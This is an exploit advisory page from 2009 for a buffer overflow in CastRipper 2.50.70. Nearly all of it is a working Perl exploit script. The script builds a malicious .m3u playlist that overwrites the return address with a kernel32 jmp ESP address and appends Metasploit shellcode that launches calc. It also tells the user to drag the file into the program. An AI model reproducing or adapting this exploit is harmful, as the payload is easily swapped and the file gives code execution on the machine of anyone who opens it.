CastRipper 2.50.70 (.m3u) Local Buffer Overflow Exploit

2009-05-19 / 2009-05-20
Credit: 0x80
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/perl #[+]--------------------------------------------------------------------------------------[+]# # CastRipper 2.50.70 (.m3u) Local buffer Overflow Exploit # By [0]x80- # hashteck[at]Gmail[dot]com # From Morocco #[+]--------------------------------------------------------------------------------------[+]# # program : CastRipper # version : 2.50.70 # download : http://www.mini-stream.net/castripper/ #[+]--------------------------------------------------------------------------------------[+]# # Tested Under Win$hit Vista Pro # After launching the sploit just drag&drop the .m3u file in the Ripper , Enjoy ;)# # NOTE : if you want to use it under an other version of Win32 use jmpfind.exe #( avalaible on the net) to find a matching address with which you'll overwrite your EIP . #[+]--------------------------------------------------------------------------------------[+]# ##################################### Proud to be Moroccan ################################### $junk="\x41" x 17379; $eip="\xF8\x03\xB1\x76"; # 0x76B103F8 jmp ESP - Kernel32.dll $nops="\x46" x 10; # win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com $shell = "\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88". "\xd3\x37\xcc\x83\xeb\xfc\xe2\xf4\x74\x3b\x73\xcc\x88\xd3\xbc\x89". "\xb4\x58\x4b\xc9\xf0\xd2\xd8\x47\xc7\xcb\xbc\x93\xa8\xd2\xdc\x85". "\x03\xe7\xbc\xcd\x66\xe2\xf7\x55\x24\x57\xf7\xb8\x8f\x12\xfd\xc1". "\x89\x11\xdc\x38\xb3\x87\x13\xc8\xfd\x36\xbc\x93\xac\xd2\xdc\xaa". "\x03\xdf\x7c\x47\xd7\xcf\x36\x27\x03\xcf\xbc\xcd\x63\x5a\x6b\xe8". "\x8c\x10\x06\x0c\xec\x58\x77\xfc\x0d\x13\x4f\xc0\x03\x93\x3b\x47". "\xf8\xcf\x9a\x47\xe0\xdb\xdc\xc5\x03\x53\x87\xcc\x88\xd3\xbc\xa4". "\xb4\x8c\x06\x3a\xe8\x85\xbe\x34\x0b\x13\x4c\x9c\xe0\x23\xbd\xc8". "\xd7\xbb\xaf\x32\x02\xdd\x60\x33\x6f\xb0\x56\xa0\xeb\xd3\x37\xcc"; # | --------------Junk-------------|-EIP-|----Nops----|-----------Shellcode----------| open(m3u,">>Exploit.m3u"); print m3u $junk.$eip.$nops.$shell; print "[+] Done !! [+]"; close(m3u);

References:

http://www.milw0rm.com/exploits/8662
http://www.milw0rm.com/exploits/8661
http://www.milw0rm.com/exploits/8660


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